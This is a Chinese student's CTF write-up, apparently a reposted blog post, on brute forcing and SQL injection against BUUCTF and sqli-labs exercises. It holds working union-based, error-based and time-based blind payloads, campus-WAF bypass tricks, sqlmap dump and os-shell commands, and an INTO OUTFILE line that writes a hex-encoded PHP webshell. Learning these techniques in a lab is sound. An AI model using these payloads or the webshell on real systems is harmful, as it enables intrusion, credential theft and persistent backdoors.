0


注入攻击(一)--------SQL注入(结合BUUCTF sqli-labs)

目录

写在前面

  1. 为了准备信息安全技术课程汇报做的笔记,想着做了也是做了,不如分享出来给想我一样的初学者学习。本人之前没有做过CTF,也没有学过SQL注入,零基础,所以大佬可以先行离开
  2. 我的汇报内容是
  • SQL注入
  • XPath注入
  • HTML注入 另一篇文章讲HTML注入,例子给的比较简单,但会给源码。主要是在Kali Linux中使用LAMP搭建一个简易的网站讲解HTML注入,感兴趣的可以点击下面的链接。 注入攻击(二)--------HTML(有源码)

一、暴力破解

先做个题感受一下CTF,顺带学个BP工具使用。

Basic-3-Brute 1

1.解题思路

  1. 启动靶机后,给出一个登录界面登录界面
  2. 猜想使用admin作为用户名尝试登陆,查看服务器返回信息错误提示信息
  3. 得到密码的结构:4位数字
  4. 使用burp suite进行爆破,得到当password=6490时,返回登陆成功并给出flagbp爆破

2.Burp Suite工具使用简介

使用

Burp Suite

进行爆破需要先进行一些配置,以下是我进行配置时的详细过程。

  1. 设置监听,监听8080端口。proxy
  2. 对浏览器进行同样的设置,将其代理设置成8080端口(以为Firefox浏览器为例)
  3. 打开监听器,这时浏览器的请求会被Burp Suite拦截,我们可以通过Burp Suite来修改请求内容intercepter off
  4. 设置完毕后在刚才的登陆界面输入usernamepassword后会跳转至Burp SuiteBurp Suite会展示浏览器请求的内容。

intercept on
5. 替换要进行爆破的变量内容
addvalue
6. 设置字典,由于提示是四位数字,我将Character Set中的英文字符删除
set dictionary

  1. 开始进行爆破攻击,当攻击完毕可以通过编辑filter快速筛选出内容不同的报文 得到1.解题思路中的结果bp爆破

二、基于GET的SQL注入

Pre.使用校园网做题时可能遇到的小问题

我做题时遇到的问题:一旦涉及到

union

查询以及出现

select

语句,就会出现连接错误

connection error

fire wall

问题原因推测:校园网防火墙过滤拦截了这部分带有

union

字符URL,判断其有sql注入攻击的风险

解决办法:

  1. 不用校园网,连接自己手机的热点
  2. 复写关键词达到绕过WAF的目的如 union 写成 uniounionn(实测不成功,根据各个网络设置不同,实验结果也不同)
  3. 大小写混写达到绕过目的union写成UNiOn
  4. 在union前后添加%0A实测成功,URL编码中的一个转义字符表示换行)

2.1 Basic-4-SQL course 1(sql注入)

1.解题思路

  1. 在火狐浏览器或者chrome浏览器中按F12调试启动开发者模式查看网络请求,可以看到其请求content_detail.php,从header中可以看到其访问地址为/backend/content_detail.phpcontent_detail
  2. 进行一些测试,看看其是否能通过URL进行sql注入提取到信息
  • 更改id,看页面反馈,分别用id=1,2,3,4逐个测试id=1

id=2
id=3
id=4

  • 测试 andand1=1and1=2
  • 测试 or 是否被过滤or1=1
  1. 经过上述的简单测试发现可以通过sql进行数据获取,接下来通过构造sql语句查询数据库的一些结构信息
  • 查询表名
id=0union
select 1,group_concat(table_name) 
from information_schema.tables 
where table_schema=database()%23

结果:
find table name

  1. 得知数据库中一共有两个表,admincontents
  2. 针对admin表进行查询
  3. 查询admin表列名
?id=-1union 
select 1,group_concat(column_name) 
from information_schema.columns 
where table_name='admin'%23

注入后结果:
getcolumnname

  1. 查询username、password字段数据
?id=-1union 
select group_concat(username),group_concat(password) 
from admin--+

拿到一个登录账户以及密码

getaccount

  1. 使用这个账户密码登录成功后会显示flag,提交flag这题就算ac了showflage 9.提交flagsubmit

2.2 Basic-8-sqli-labs(sql注入的各种攻击形式)

1.报错注入

less-1(

Error-Based
单引号
字符型

注入)

  • 解题思路

提示输入数字,构造url尝试

  1. 判断参数是整数型还是字符型
  • ?id=1
  • ?id=1' and 1=1 #
  • ?id=1' and 1=2 #
  • ?id=1' and 1=1 #
  • ?id=1' and 1=1 #
  1. 判断登陆表一共有几列,观察到当4时不回显,说明表为3列
  • ?id=1' order by 1 %23
  • ?id=1' order by 2 %23
  • ?id=1' order by 3 %23
  • ?id=1' order by 4 %23
  1. 查询用户权限和数据库类型
  • ?id=-1' union select 1,user(),database() %23dbtype
  1. 查看操作系统和数据库版本
?id=-1'union 
select 1, @@version_compile_os,version()%23

os and version

  1. 查询表名
?id=-1'union 
select 1,2,group_concat(table_name) 
from information_schema.tables 
where table_schema=database()%23

table name

  1. 查询表字段名
?id=-1'union 
select 1,2,group_concat(column_name) 
from information_schema.columns 
where table_name='users'%23

table column name

  1. 得知字段名后,可以查询所有账户信息
?id=-1'union 
select 1,group_concat(username),group_concat(password) 
from users %23

table data

其他类似题目(less2-less4)

  1. less-2(Error-Based``整数型注入 ) select * from user where id=$id LIMIT 0,1
  2. less-3(Error-Based``单引号括号``````字符型注入) select * from user where id=('$id') LIMIT 0,1
  3. less-4(Error-Based``双引号括号``````字符型注入) select * from user where id=(”$id“) LIMIT 0,1

报错注入

XPath注入

时间延迟型盲注

布尔盲注


2.XPath注入

less-5 (Double injection)

该题登陆成功不会显示信息,但是登陆失败还是会显示sql语句报错信息
less5-right
less5 fault

1.使用XPath注入
updatexml(xpath_string, new_string, xml_field)substr(str, pos)substr(str, pos, len)
  • 解题过程
  1. 获取当前数据库名称
?id=1'andupdatexml(1,concat(0x7e,(select database()),0x7e),1)-- s

通过更新一个不存在的xml节点,在其中插入另外一个查询语句获取数据信息
成功在页面展示出数据库名称
less-5-XPath
2. 获取当前数据库所有表名称

?id=1'andupdatexml(1,concat(0x7e,substr((select group_concat(table_name) 
from information_schema.tables where table_schema=database()),1,31),0x7e),1)-- s

find table

  1. 获取当前数据库user表所有列名称
?id=1'andupdatexml(1,concat(0x7e,substr((select group_concat(column_name) 
from information_schema.columns 
where table_name='users'and table_schema=database()),1,31),0x7e),1)-- s

fine column name

  1. 获取当前数据库user表所有username和password的值,通过读取多个子字符串逐段读取user表中所有的数值
?id=1'andupdatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1)-- s

find by row1

?id=1'andupdatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) 
from users),32,31),0x7e),1)-- s

find  by row 2

以此类推…

?id=1'andupdatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) 
from users),63,31),0x7e),1)-- s

  1. 写webshell
?id=1' into outfile 'C:/less5.php' lines terminated by 0x3c3f7068702061737365727428245f504f53545b6c657373355d293b3f3e-- s

其他类似题型

  • less-6 (Double injection)

与less5基本相同,但是闭合是双引号的

3.文件导出

less-7 dump into outfile(文件导出)

1.布尔盲注 爆破获得数据
  • 输入正确 查询结果不回显
  • 输入错误 不显示SQL语法错误

使用布尔盲注来逐个测试,手工注入工作量太大,可以使用bp工具完成

2.利用文件导出功能
  1. 找到文件存放的根目录

?id=-1 union select 1,@@basedir,@@datadir

getrootdir

  1. 得到路径后进行文件导出

4. 布尔盲注

less-8(Blind,Boolian Based, single quote,

布尔盲注

布尔盲注(Boolean Blind SQL Injection)是一种利用布尔逻辑的盲注技术,用于检索和利用Web应用程序的数据库中的信息。这种盲注技术是在应用程序未显示明确错误消息或回显数据库响应的情况下进行的。

在布尔盲注攻击中,攻击者利用应用程序对特定输入的响应,如页面的不同响应,来判断查询语句是否执行成功。攻击者通过尝试不同的输入值,比较不同输入值的响应,来逐步推断出数据库中的信息。

以下是一个简单的布尔盲注示例,假设有一个网站,在搜索框中输入姓名可以检索数据库中的用户信息。攻击者可以尝试向搜索框中输入以下语句:

' OR 1=1--

这将使SQL查询变为类似以下的形式:

SELECT * FROM users WHERE name='' OR 1=1-- '

如果搜索成功,说明数据库中至少有两个用户,攻击者就可以通过类似的方法,逐步推断出更多的信息,例如用户名、密码等。

5. 时间盲注

Pre.sqlmap工具使用简介

sqlmap支持五种不同的注入模式:
1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入,可以使用union的情况下的注入。
5、堆查询注入,可以同时执行多条语句的执行时的注入。

sqlmap支持的数据库
MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB

less-9 (Blind,Time Based, Single Quote,

时间盲注

)

1.手工盲注

if(a,sleep(10),1)如果a结果是真的,那么执行sleep(10)页面延迟10秒,如果a的结果是假,执行1,页面不延迟。

# 判断参数构造
?id=1'andif(1=1,sleep(5),1)--+
    
#判断数据库名长度
?id=1'andif(length((select database()))>9,sleep(5),1)--+

# 逐一判断数据库字符
?id=1'andif(ascii(substr((select database()),1,1))=115,sleep(5),1)--+

# 判断所有表名长度
?id=1'andif(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(1000),1)--+

# 逐一判断表名
?id=1'andif(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+

# 判断所有字段名的长度
?id=1'andif(length((select group_concat(column_name) from information_schema.columns where table_schema=database()and table_name='users'))>20,sleep(5),1)--+

# 逐一判断字段名
?id=1'andif(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database()and table_name='users'),1,1))>99,sleep(5),1)--+
    
# 判断字段内容长度
?id=1'andif(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
    
# 逐一检测内容
?id=1'andif(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+
2.使用sqlmap

手工盲注输入过于耗费时间,采用sqlmap工具进行破解

# 查看是否有注入点
sqlmap -u "?id=1" 
# 获取所有数据库名字
sqlmap -url "?id=1"--dbs
# 获取当前数据库
sqlmap -url "?id=1"--current-db
#获取数据库security所有表名称
sqlmap -u "?id=1"--tables -D security
#获取数据库security的users表的所有列名
sqlmap -u "?id=1"--columns -D security -T users
#获取数据库security的users表的username和password列的值
sqlmap -u "?id=1"--dump -D security -T users -C username,password
#sqlmap-u "?id=1"--os-shell 
  1. 判断当前网址是否有注入点sqlmap -u "?id=1"

getDBType

getDBType2

  1. 获取所有数据库名sqlmap -url "?id=1" --dbs

getAllDBName

  1. 获取当前数据库sqlmap -url "?id=1" --current-db

getCurrentDBName

  1. 获取数据库Security中所有的表名sqlmap -u "?id=1" --tables -D security

getAllTable

  1. 获取指定数据库security指定表users的所有列名sqlmap -u "?id=1" --columns -D security -T usersgetcolumnname
  2. 读取指定表的指定列数据sqlmap -u "?id=1" --dump -D security -T users -C username,password --dump

gettabledetail

less-10 (Blind,Time Based, Double Quotes,

时间盲注

)


三、基于POST的SQL注入攻击

前面使用的是GET直接在URL中进行传参

1. 常规

less11

  • 解题思路less11-1
  1. 查看报错信息,发现输入的信息被包裹在单引号中,推断出sql语句应该形如:
select * from table where username='$id' and password='$pswd'

less-11-1

  1. 构造绕过语句
1' or '1=1
1' or '1=1 #
  1. 输入后提示登陆成功

less-11-2

  1. 构造其他语句,泄露数据库的其他信息

时间关系。后面的题目基本就没做了,大家可以直接到参考文章中查看,提供了大佬们详细的题解。


参考文章

本人精力有限,为了课程汇报,所以做的难免急躁,肯定有不足之处。下面是我这几天学习参考的几篇BUUCTF sqli-labs 的讲解文章,希望大家能从大佬的文章中学习到真正的知识,也不枉辛苦大家点进我这篇破文章哈哈

包含了详细的题解,图文并茂

  1. sqli-labs通关(less1~less10)By 仙女象
  2. sqli-labs通关(less11~less20)By 仙女象
  3. sqli-labs通关(less21~less30)By 仙女象
  4. sqli-labs通关(less31~less40)By 仙女象
  5. sqli-labs通关(less41~less50)By 仙女象
  6. sqli-labs通关(less51~less60)By 仙女象
  7. Sqlmap使用(sqli-lab)By Mccc_li
  8. 详细sqli-labs(1-65)通关讲解 By 糊涂是福yyyy

9.BUUCTF-Basic By _abcdef


本文转载自: https://blog.csdn.net/qq_43727392/article/details/130597888
版权归原作者 研究僧12138 所有, 如有侵权,请联系我们删除。

“注入攻击(一)--------SQL注入(结合BUUCTF sqli-labs)”的评论:

还没有评论